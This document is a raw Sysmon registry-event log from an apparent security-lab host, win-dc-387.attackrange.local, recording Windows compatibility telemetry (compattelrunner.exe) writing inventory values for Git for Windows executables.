14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-branch.exe|60e03a3ca4e1184b\BinProductVersion2.33.0.2 13241300x800000000000000036260Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-branch.exe|60e03a3ca4e1184b\LinkDate08/24/2021 10:09:53 13241300x800000000000000036259Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-branch.exe|60e03a3ca4e1184b\Publisherthe git development community 13241300x800000000000000036258Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-branch.exe|60e03a3ca4e1184b\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-branch.exe 13241300x800000000000000036257Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-blame.exe|695e1b21d217f64a\BinProductVersion2.33.0.2 13241300x800000000000000036256Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-blame.exe|695e1b21d217f64a\LinkDate08/24/2021 10:09:53 13241300x800000000000000036255Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-blame.exe|695e1b21d217f64a\Publisherthe git development community 13241300x800000000000000036254Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-blame.exe|695e1b21d217f64a\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-blame.exe 13241300x800000000000000036253Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-bisect--help|2b85661c358f83f3\BinProductVersion2.33.0.2 13241300x800000000000000036252Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-bisect--help|2b85661c358f83f3\LinkDate08/24/2021 10:09:53 13241300x800000000000000036251Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-bisect--help|2b85661c358f83f3\Publisherthe git development community 13241300x800000000000000036250Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-bisect--help|2b85661c358f83f3\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-bisect--helper.exe 13241300x800000000000000036249Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-bash.exe|bb55e09d0018cc9\BinProductVersion2.33.0.2 13241300x800000000000000036248Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-bash.exe|bb55e09d0018cc9\LinkDate08/24/2021 10:09:53 13241300x800000000000000036247Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-bash.exe|bb55e09d0018cc9\Publisherthe git development community 13241300x800000000000000036246Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-bash.exe|bb55e09d0018cc9\LowerCaseLongPathc:\program files\git\git-bash.exe 13241300x800000000000000036245Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-askyesno.exe|307382c653791a6b\BinProductVersion(Empty) 13241300x800000000000000036244Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-askyesno.exe|307382c653791a6b\LinkDate01/01/1970 00:00:00 13241300x800000000000000036243Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-askyesno.exe|307382c653791a6b\Publisher(Empty) 13241300x800000000000000036242Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-askyesno.exe|307382c653791a6b\LowerCaseLongPathc:\program files\git\mingw64\bin\git-askyesno.exe 13241300x800000000000000036241Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-askpass.exe|e2b400b31b8b5d22\BinProductVersion(Empty) 13241300x800000000000000036240Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-askpass.exe|e2b400b31b8b5d22\LinkDate01/01/1970 00:00:00 13241300x800000000000000036239Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-askpass.exe|e2b400b31b8b5d22\Publisher(Empty) 13241300x800000000000000036238Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-askpass.exe|e2b400b31b8b5d22\LowerCaseLongPathc:\program files\git\mingw64\bin\git-askpass.exe 13241300x800000000000000036237Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-askpass.exe|ac0f34128b42387d\BinProductVersion1.20.0.0 13241300x800000000000000036236Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-askpass.exe|ac0f34128b42387d\LinkDate09/06/2019 12:59:42 13241300x800000000000000036235Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-askpass.exe|ac0f34128b42387d\Publishermicrosoft corporation 13241300x800000000000000036234Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-askpass.exe|ac0f34128b42387d\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-askpass.exe 13241300x800000000000000036233Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-archive.exe|36a80009064dc962\BinProductVersion2.33.0.2 13241300x800000000000000036232Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-archive.exe|36a80009064dc962\LinkDate08/24/2021 10:09:53 13241300x800000000000000036231Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-archive.exe|36a80009064dc962\Publisherthe git development community 13241300x800000000000000036230Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-archive.exe|36a80009064dc962\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-archive.exe 13241300x800000000000000036229Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-apply.exe|12e49d92e436268f\BinProductVersion2.33.0.2 13241300x800000000000000036228Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-apply.exe|12e49d92e436268f\LinkDate08/24/2021 10:09:53 13241300x800000000000000036227Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-apply.exe|12e49d92e436268f\Publisherthe git development community 13241300x800000000000000036226Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-apply.exe|12e49d92e436268f\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-apply.exe 13241300x800000000000000036225Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-annotate.exe|a44a56d360566d96\BinProductVersion2.33.0.2 13241300x800000000000000036224Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-annotate.exe|a44a56d360566d96\LinkDate08/24/2021 10:09:53 13241300x800000000000000036223Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-annotate.exe|a44a56d360566d96\Publisherthe git development community 13241300x800000000000000036222Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-annotate.exe|a44a56d360566d96\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-annotate.exe 13241300x800000000000000036221Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-am.exe|4f482c30f10b83a7\BinProductVersion2.33.0.2 13241300x800000000000000036220Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-am.exe|4f482c30f10b83a7\LinkDate08/24/2021 10:09:53 13241300x800000000000000036219Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-am.exe|4f482c30f10b83a7\Publisherthe git development community 13241300x800000000000000036218Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-am.exe|4f482c30f10b83a7\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-am.exe 13241300x800000000000000036217Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-add.exe|cbf55eec74d083b3\BinProductVersion2.33.0.2 13241300x800000000000000036216Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-add.exe|cbf55eec74d083b3\LinkDate08/24/2021 10:09:53 13241300x800000000000000036215Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-add.exe|cbf55eec74d083b3\Publisherthe git development community 13241300x800000000000000036214Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\git-add.exe|cbf55eec74d083b3\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\git-add.exe 13241300x800000000000000036213Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gio-querymodules|c9cec5f8077b3334\BinProductVersion(Empty) 13241300x800000000000000036212Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gio-querymodules|c9cec5f8077b3334\LinkDate01/01/1970 00:00:00 13241300x800000000000000036211Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gio-querymodules|c9cec5f8077b3334\Publisher(Empty) 13241300x800000000000000036210Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gio-querymodules|c9cec5f8077b3334\LowerCaseLongPathc:\program files\git\usr\bin\gio-querymodules.exe 13241300x800000000000000036209Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gettext.exe|8596cb6c6d32afb4\BinProductVersion0.19.8.0 13241300x800000000000000036208Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gettext.exe|8596cb6c6d32afb4\LinkDate01/01/1970 04:44:00 13241300x800000000000000036207Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gettext.exe|8596cb6c6d32afb4\Publisherfree software foundation 13241300x800000000000000036206Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gettext.exe|8596cb6c6d32afb4\LowerCaseLongPathc:\program files\git\usr\bin\gettext.exe 13241300x800000000000000036205Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gettext.exe|3980488749a39656\BinProductVersion0.19.8.0 13241300x800000000000000036204Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gettext.exe|3980488749a39656\LinkDate01/01/1970 00:00:00 13241300x800000000000000036203Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gettext.exe|3980488749a39656\Publisherfree software foundation 13241300x800000000000000036202Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gettext.exe|3980488749a39656\LowerCaseLongPathc:\program files\git\mingw64\bin\gettext.exe 13241300x800000000000000036201Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\getprocaddr64.ex|683e30977215239e\BinProductVersion(Empty) 13241300x800000000000000036200Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\getprocaddr64.ex|683e30977215239e\LinkDate03/26/2021 22:24:41 13241300x800000000000000036199Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\getprocaddr64.ex|683e30977215239e\Publisher(Empty) 13241300x800000000000000036198Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\getprocaddr64.ex|683e30977215239e\LowerCaseLongPathc:\program files\git\usr\libexec\getprocaddr64.exe 13241300x800000000000000036197Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\getprocaddr32.ex|11de5925d9c6baa7\BinProductVersion(Empty) 13241300x800000000000000036196Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\getprocaddr32.ex|11de5925d9c6baa7\LinkDate03/26/2021 22:24:41 13241300x800000000000000036195Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\getprocaddr32.ex|11de5925d9c6baa7\Publisher(Empty) 13241300x800000000000000036194Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\getprocaddr32.ex|11de5925d9c6baa7\LowerCaseLongPathc:\program files\git\usr\libexec\getprocaddr32.exe 13241300x800000000000000036193Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\getopt.exe|b37205341d75e599\BinProductVersion(Empty) 13241300x800000000000000036192Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\getopt.exe|b37205341d75e599\LinkDate01/01/1970 00:00:00 13241300x800000000000000036191Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\getopt.exe|b37205341d75e599\Publisher(Empty) 13241300x800000000000000036190Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\getopt.exe|b37205341d75e599\LowerCaseLongPathc:\program files\git\usr\bin\getopt.exe 13241300x800000000000000036189Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.277{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\getfacl.exe|69b0f93924f494f7\BinProductVersion(Empty) 13241300x800000000000000036188Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 